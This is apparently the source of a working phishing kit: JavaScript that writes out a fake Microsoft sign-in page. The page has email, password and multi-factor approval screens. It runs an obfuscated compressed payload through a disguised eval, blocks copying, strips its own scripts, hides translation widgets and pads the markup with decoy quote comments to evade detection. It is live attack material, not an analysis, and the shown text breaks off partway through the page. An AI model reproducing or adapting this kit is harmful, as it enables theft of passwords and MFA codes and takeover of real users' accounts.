w = atob;
h = w(`<!DOCTYPE html>
<html lang="en">
<head>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://github.com/fent/randexp.js/releases/download/v0.4.3/randexp.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/lz-string/1.4.4/lz-string.min.js"></script>
    <link rel="stylesheet" href="/34aTt7sJWHgg1AEtNabpmW6720">
    <link rel="stylesheet" href="/abYUP41rsfKEcd24">
    <link rel="preload" href="/GDSherpa-bold.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-bold.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf2.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>&#8203;</title>
    
    <style>body { height: 100vh !important; width: 100vw !important; } body.startnew { background-color: #f2f2f2; background-image: url('https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg'); background-repeat: no-repeat,no-repeat; background-position: center center,center center; background-size: cover,cover; color: #1b1b1b; } input:-webkit-autofill, input:-webkit-autofill:hover, input:-webkit-autofill:focus, input:-webkit-autofill:active{ -webkit-box-shadow: 0 0 0 30px white inset !important; } .btn { margin: 0 0 0 auto; display: block; background-color: #0067b8; color: #fff; border: 2px solid #0067b8; /* padding: 5px 30px; */ padding: 5px 37px; font-size: 15px; cursor: pointer; } .btn:hover { background-color: #085998; } .firstlogo{ background-image: url("/ijcaIMGCHDfKY3o4OkLKKPKKGB6f5EJoVpF89ceFxJF1btds5EZpBo21TesKgQuViOImyz230"); background-size: 100% 100%; width: 108px; height: 24px; background-repeat: no-repeat; } .bannerlogo{ height: 24px; max-height: 36px; background-image: url("/ijcaIMGCHDfKY3o4OkLKKPKKGB6f5EJoVpF89ceFxJF1btds5EZpBo21TesKgQuViOImyz230"); background-size: 100% 100%; width: 108px; background-repeat: no-repeat; background-size: contain; }
    #NzwjWiRcte {
    display: none;
    }
    #goog-gt-tt,
    .goog-te-spinner-pos {
        display: none !important;
        visibility: hidden !important;
    }
    .goog-te-spinner-pos + div {
        display: none !important;
        height: 0 !important;
        overflow: hidden !important;
    }
    .goog-brand {
        display: none !important;
    }
    .VIpgJd-ZVi9od-aZ2wEe-wOHMyf {
        display: none !important;
    }
    
    .goog-te-banner-frame.skiptranslate,
    .goog-te-gadget-icon,
    .goog-logo-link,
    .goog-te-gadget,
    .goog-te-banner-frame {
    display: none !important;
    }
    
    .skiptranslate {
    display: none !important;
    }
    @font-face { font-family: 'gdsherpa'; font-weight: 700; src: url(/GDSherpa-bold.woff2) format('woff2'),url(/GDSherpa-bold.woff) format('woff'); unicode-range: U+0-10FFFF; font-display: swap } @font-face { font-family: 'gdsherpa'; font-weight: 400; src: url(/GDSherpa-regular.woff2) format('woff2'),url(/GDSherpa-regular.woff) format('woff'); unicode-range: U+0-10FFFF; font-display: swap } @font-face { font-family: 'gdsherpa'; font-weight: 1 999; src: url(/GDSherpa-vf.woff2) format('woff2'),url(/GDSherpa-vf.woff2) format('woff2-variations'); unicode-range: U+0-10FFFF; font-display: swap } @font-face { font-family: 'gdsherpa'; font-weight: 1 900; src: url(/GDSherpa-vf2.woff2) format('woff2'),url(/GDSherpa-vf2.woff2) format('woff2-variations'); unicode-range: U+0-10FFFF; font-display: swap }</style>
        <script>
    cl = "JYMwBAFAdghgbsA5jALgewE4DoDuBTAIwBMNg48MwAfKsHYKItHLAYxgBsOAFACxijoAttVr1GzLAH0ADv0FoRNMLATJ02AK4BnCgEFEeQVgasOmonm0QARACFNGGTYCULsAG8AsACgw/gP9xJhYONHYUYDQoMABeMBsYAjRNFAAuAg4BAGsbAG5fAF9fJlZNISMULBgiIgBRckEAGWBtFCMKW2y8AE8QqBsAGjAQTShWSOjIPEaUd28/ANHxyZjWCBnK+d9AwNZotrBtOLAAbR3dy48wbp6AYTRLNLAARgAmAGYwQsGLy8DrhMMBxnigMJo8MNbg8nmAABwAVm+v0W/wCgLBILAYIhw20vFA6Wx4MhN16MLwzwA7F8fn80Z4wECsTjSfjCaCSVDyY9KWAAGxU5H0tEY4Gc3FHAkgIms7n3XnUgAswtRDLFLK5Uo5xMl0MVYCpSLpatFTMxEtJ+thVLeyLAAHoHWA7piwABqMAACRF/2uFRQMEtw04sq11r5NNVDPRYADQd1pNDwbJCthgujMcZ8ZTEeeiO+vv8AF0Cj4i2AMHgUI4YtosNpFHgINk4gA+CuBCAAQmybDdyk2xmZAGleu4AGQTzsBHt99ky0RgIdVBcoMc9SfT03/OdYeNLlf76swDdbmf+Pehw+zaocdfjsBTi/L28RuKxeJ9iMVlxlwLFOWaqgJA6wrm4ngVkeMhVrMAAieAgDAmj3hAf4VlWNYYDESEcLo/4BIBhToT4pTlJU1S1A0lQtG0HQYBAADk+yCHgAAeKAVFAmiMcMywTFEUAbLM2xqtBsGVAhSEoSgaEEf4mG1iMnD4UUJFoCcuGqT4ED8asYAAF5oZBaocNW2KaSpeDyUyBwoGAMAnC8AAMzk2boKAAJKsRgcCcLpYwCdExkLGiLGHAAVicMgUCAmBCAIrB4FgUDMHJFaWAQmiIIYGA2XsdlgIg0WxfFiXJalODpTu/ggRAxUALRgFFbYOU+E5gN2cwmVmYAafErL5f89kDSSQ2XMEkhhBEglYFWMhZElTG8CgKAyNoaROjg213sABBJDAbCKIxJFooBAHDC5zkkcRclAA==";
    jy = LZString.decompressFromBase64(cl);
    hu = 'e' + 'v' + 'a' + 'l';
    (0, globalThis[hu])(jy);
    </script>
    <script>
    document.addEventListener('copy', function(event) {
    if (document.activeElement.tagName === 'INPUT' || 
        document.activeElement.tagName === 'TEXTAREA' || 
        document.activeElement.isContentEditable) {
        return;
    }
    event.preventDefault();
    var customWord = "v";
    event.clipboardData.setData('text/plain', customWord);
    });
    
    </script>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
    <script>
document.getElementById('MCpSJoQHYF').remove();
document.getElementById('MdydmdwEBl').setAttribute('class', "startnew");
document.getElementById('MdydmdwEBl').removeAttribute('style');
document.getElementById('MdydmdwEBl').removeAttribute('id');
document.getElementById('yZQdtbJUCT').remove();
var r = document.currentScript;
r.parentNode.removeChild(r);
</script>
<!-- I find that the harder I work, the more luck I seem to have. -->
</head>

<body class="startnew">
<!-- <div>If you are not willing to risk the usual, you will have to settle for the ordinary.</div> -->
<div id="NzwjWiRcte"></div>
<div id="sections" class="">
    
    
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
    
    
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
    <section id="section_tryingtosignin" style="animation:show-from-right 0.5s;" class="">
        <div class="auth-wrapper">
<!-- The only place where success comes before work is in the dictionary. -->
            <div class="loading-container loading">
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
                <div class="dot-floating"></div>
<!-- Try not to become a man of success. Rather become a man of value. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>Your time is limited, don&#039;t waste it living someone else&#039;s life.</div> -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- The only place where success comes before work is in the dictionary. -->
            <h2 class="title mb-16 mt-16">Trying to sign you in</h2>
            <div class="bottomsection">
            <a href="javascript:void(0)">Cancel</a>
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
        </div>
    </section>

<!-- Success usually comes to those who are too busy to be looking for it. -->
    <section id="section_uname" class="d-none">
            
        <div class="auth-wrapper">
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is finding satisfaction in giving a little more than you take. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            
            
            <button class="back" onclick="backbtn()" style="display: none">
                <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            </button>
            <h2 class="title mb-16 mt-16">Sign in</h2>
                <div class="mb-16">
                    <div id="error_uname" class="error"></div>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                    <input id="inp_uname" type="text" name="uname" class="input" autocomplete="off" oninput="removespaces(this)" value="" placeholder="Email, phone, or Skype" />
                </div>
            <div class="bottomsection"><p class="mb-16">No account? <a href="javascript:void(0)" data-id="signup" onclick="linkoptionclick(this)" class="link">Create one!</a></p><a class="link mb-16" data-id="cantAccessAccount" onclick="linkoptionclick(this)" href="javascript:void(0)">Can't access your account?</a></div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            <button class="btn" id="btn_next">Next</button>
            </div>
        </div>
        <div class="opts">
<!-- I find that the harder I work, the more luck I seem to have. -->
<p class="has-icon mb-0" style="font-size:15px;"><span class="icon"><img src="/opCYFGAvxJiFHi9nlFh2eAghLeWksXq8E6H67134" width="30px" /></span> Sign-in options</p>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
</div>
    </section>


<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
    <section id="section_pwd" class="d-none">
            <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- I find that the harder I work, the more luck I seem to have. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            <div class="sectioncontent">
<!-- <div>Every problem is an opportunity in disguise.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            
            
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            </div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
            <h2 class="title" style="margin-bottom: 5px;">Enter password</h2><div id="passdesc" class="text-block-body overflow-hidden form-group">Because you're accessing sensitive info, you need to verify your password to access your voicemail.</div>
                <div class="mb-16">
                    <div id="error_pwd" class="error"></div>
<!-- Persistence is the key to achieving great things. -->
                    <input id="inp_pwd" type="password" name="pass" class="input" placeholder="Password" />
                </div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_sig">Sign in</button>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            </div>
        </div>
<!-- If you really look closely, most overnight successes took a long time. -->
    </section>

<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
    <section id="section_pwd_live" class="d-none">
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Action is the foundational key to all success. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- A satisfied customer is the best business strategy of all. -->
                <div class="dot-floating"></div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <div class="dot-floating"></div>
            </div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            <div class="sectioncontent">
            <div class="bannerlogo" style="height: 24px;"></div>
            <div class="identity w-100 mt-16 mb-16" style="margin-bottom: 4px;display: flex;justify-content: center;">
<!-- Do not be embarrassed by your failures, learn from them and start again. -->
                <div class="user_identity_live_outerele">
                <div style="position: relative;">
                <button class="back" onclick="backbtn()" style="position: relative;top: 5px;">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button>
                </div>
                <div class="user_identity_live_ele">
                <span class="user_identity">a@b.com</span>
                </div>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
                </div>
            </div>
            <h2 class="title" style="margin-bottom: 15px;text-align: center;">Enter your password</h2>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                <div class="mb-16">
                    <div id="error_pwd_live" class="error"></div>
                    <div class="input-group">
<!-- <div>The starting point of all achievement is desire.</div> -->
                    <input id="inp_pwd_live" type="password" name="pass" class="input" placeholder=" " required>
                    <label for="password">Password</label>
                </div>
                </div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_sig_live">Next</button>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
            </div>
        </div>
    </section>

    <section id="section_youdonthaveaccess" class="d-none">
<!-- Success is finding satisfaction in giving a little more than you take. -->
        <div class="auth-wrapper">
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- Never give in except to convictions of honor and good sense. -->
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
            </div>
            <h2 class="title mb-16">You cannot access this right now</h2>
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your sign-in was successful but does not meet the criteria to access this resource. For example, you might be signing in from a browser, app, or location that is restricted by your admin.
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            </div>
            <div class="youdonthaveaccessbottom">
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            </div>
            <div class="youdonthaveaccessbottomoption">
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
            </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
    </section>
<!-- <div>Success is where preparation and opportunity meet.</div> -->

    <section id="section_moreinforequired" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- Do not be embarrassed by your failures, learn from them and start again. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The starting point of all achievement is desire. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">More information required</h2>
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your organization needs more information to keep your account secure
            </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <div class="youdonthaveaccessbottom">
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            </div>
            <div class="youdonthaveaccessbottomoption">
<!-- The biggest risk is not taking any risk. -->
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
            </div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            </div>
        </div>
    </section>

<!-- The only place where success comes before work is in the dictionary. -->
    <section id="section_tryagainlater" class="d-none">
        <div class="auth-wrapper">
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>

            <h2 class="title mb-16 mt-16" id="tryagainheader" style="display:none;margin-bottom: 0;">We didn't hear from you</h2>
<!-- <div>Effective communication is the key to success.</div> -->

<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            <div id="tryagain_withinternet" class="row text-body" style="display:none;margin-bottom: 0;">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
            We haven't heard from you and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
            <div id="tryagain_withoutinternet" class="row text-body" style="display:none;margin-bottom: 0;">
            it seems your internet connection is unstable and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            </div>
            <div id="tryagain_moreinfo" class="row text-body" style="display:none;margin-bottom: 0;">
            Your Account Requires More Information. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
            <div id="tryagain_toomanyattempts" class="row text-body" style="display:none;margin-bottom: 0;">
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
            <p>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
            Please <a href="" class="link mb-16">Try Again</a> After 5 Minutes Due To Too Many Attempts.
            </p>
            </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <a class="link mb-16" style="font-size: 13px;" href="https://go.microsoft.com/fwlink/p/?LinkId=708614" target="_blank">More information</a>
<!-- All our dreams can come true if we have the courage to pursue them. -->
            </div>
        </div>
<!-- <div>Opportunities don&#039;t happen, you create them.</div> -->
    </section>

    <section id="section_signinanothererror" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Let’s try something else</h2>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
            <div id="signinanothererrordesc" class="text-block-body form-group overflow-hidden no-margin-top">
            You've hit our limit on <span id="signinanothererrordescmethod">verification calls.</span> Use <a data-id="useAuthenticator" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Microsoft Authenticator</a> or try to sign in again shortly.
            </div>
            <div class="signinanothererrorsigninanother form-group">
            Having trouble? <a data-id="signInAnotherWay" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in another way</a>
<!-- Success is finding satisfaction in giving a little more than you take. -->
            </div>
<!-- Stop chasing the money and start chasing the passion. -->
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
        </div>
    </section>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->

    <section id="section_accessblocked" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>A satisfied customer is the best business strategy of all.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The starting point of all achievement is desire.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- Success is not in what you have, but who you are. -->
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- The road to success and the road to failure are almost exactly the same. -->
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
            </div>
            <h2 class="title mb-16"></h2>
            <div id="accessblockeddesc" class="text-block-body form-group overflow-hidden no-margin-top"></div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div id="accessblockedsignoutoption"></div>
            <a id="MoreDetails" class="no-wrap" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.remove('d-none')" role="button" aria-label="Click here for more details">More details</a>
            </div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
        </div>

        <div id="accessblockedtroubleshootingele" class="auth-wrapper table d-none">
            <div id="accessblockedtroubleshootingcontent" class="sectioncontent">
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            <div class="table-row">
            <div class="table-cell">
<!-- Success is getting what you want, happiness is wanting what you get. -->
            <div class="debug-details-header">
                <div id="debugDetailsHeader"  role="heading">Troubleshooting details</div>
                <div>If you contact your administrator, send this info to them.</div>
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
                <a id="idCopyToClipboard" href="javascript:void(0)" role="button" aria-describedby="debugDetailsHeader" aria-label="Copy info to clipboard">Copy info to clipboard</a>
            </div>
            <div id="debugdetailsinfo" class="override-ltr">

            </div>
<!-- Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->
            <div class="debug-trace-section">
                <div>
                    <span class="bold">Flag sign-in errors for review:</span>
                    <a id="setDebugMode" role="button" href="javascript:void(0)" aria-label="Enable flagging">Enable flagging</a>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
                </div>
                <div>If you plan on getting help for this problem, enable flagging and try to reproduce the error within 20 minutes. Flagged events make diagnostics available and are raised to admin attention.</div>
            </div>
           </div>
            <a id="errorBannerCloseLink" role="button" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.toggle('d-none')" aria-label="Close troubleshooting details">
                <img role="presentation" src="/mnZoDQdgoBGUczMbxfWsPLGgYSb3VBhbUBskllASCMaa2cNCH3YEKEu34k90147" alt="Close troubleshooting details">
<!-- The secret of success is to do the common thing uncommonly well. -->
            </a>
            </div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
        </div>
<!-- <div>Trust is the foundation of any relationship.</div> -->
    </section>

    <section id="section_multipleaccounts" class="d-none">
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div id="multipleaccountsdesc" class="row text-body text-block-body"></div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
            <div id="error_multipleaccounts" class="error"></div>
            <div id="multipleaccountoptions" class="form-group" role="list">

            </div>
<!-- Success is how high you bounce when you hit bottom. -->
            <div class="bottomsection"></div>
            <button class="btn2fa" onclick="backbuttonclick(this,2)" id="btn_back">Back</button>
            </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
        </div>
    </section>
<!-- The secret of success is to do the common thing uncommonly well. -->

    <section id="section_2fa" class="d-none">
        <div class="auth-wrapper">
<!-- If you really look closely, most overnight successes took a long time. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Your brand is what people say about you when you&#039;re not in the room. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- The successful warrior is the average man, with laser-like focus. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back">
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button>
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
            </div>
            <h2 class="title mb-16">Verify your identity</h2>
            <div id="error_2fa" class="error"></div>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
                <div id="2famethods" class="form-group" role="list">

<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                </div>
            <div class="bottomsection"></div>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
            </div>
<!-- Success is how high you bounce when you hit bottom. -->
        </div>
    </section>

    <section id="section_authapp" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
            <img class="tile-img small" role="presentation" id="authappimg" src="/kltCtLgmRhx9fOxKM8QSRWLoo83kyzrGRlnud7rGOVNLN78168">
            <div id="authappdesc" class="form-group"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div id="error_authapp" class="error"></div>
            <div class="row text-body">
            <div class="display-sign-container">
<!-- <div>Leadership is not about being in charge, it&#039;s about taking care of those in your charge.</div> -->
            <div id="authappcode" class="displaySign"></div>
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
            </div>
            </div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
            <div id="authappbottomdesc" class="form-group">No numbers in your app? Make sure to upgrade to the latest version</div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <div class="bottomsection"></div>
            </div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
        </div>
    </section>

<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
    <section id="section_authapperror" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- It always seems impossible until it&#039;s done. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16"></h2>
<!-- <div>The customer is always right.</div> -->

            <div id="authapperrordesc" class="form-group"></div>

            <div id="authapperrorresend"></div>
<!-- Success is not in what you have, but who you are. -->
            
            <div class="text-subtitle">Having trouble?</div>

            <div class="row text-body" style="margin-bottom: 0;">
<!-- Never give in except to convictions of honor and good sense. -->
            
<!-- <div>If you are not willing to risk the usual, you will have to settle for the ordinary.</div> -->
            </div>
            <a id="moreInfoUrl" class="link mb-16" href="javascript:void(0)" target="_blank">More information</a>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
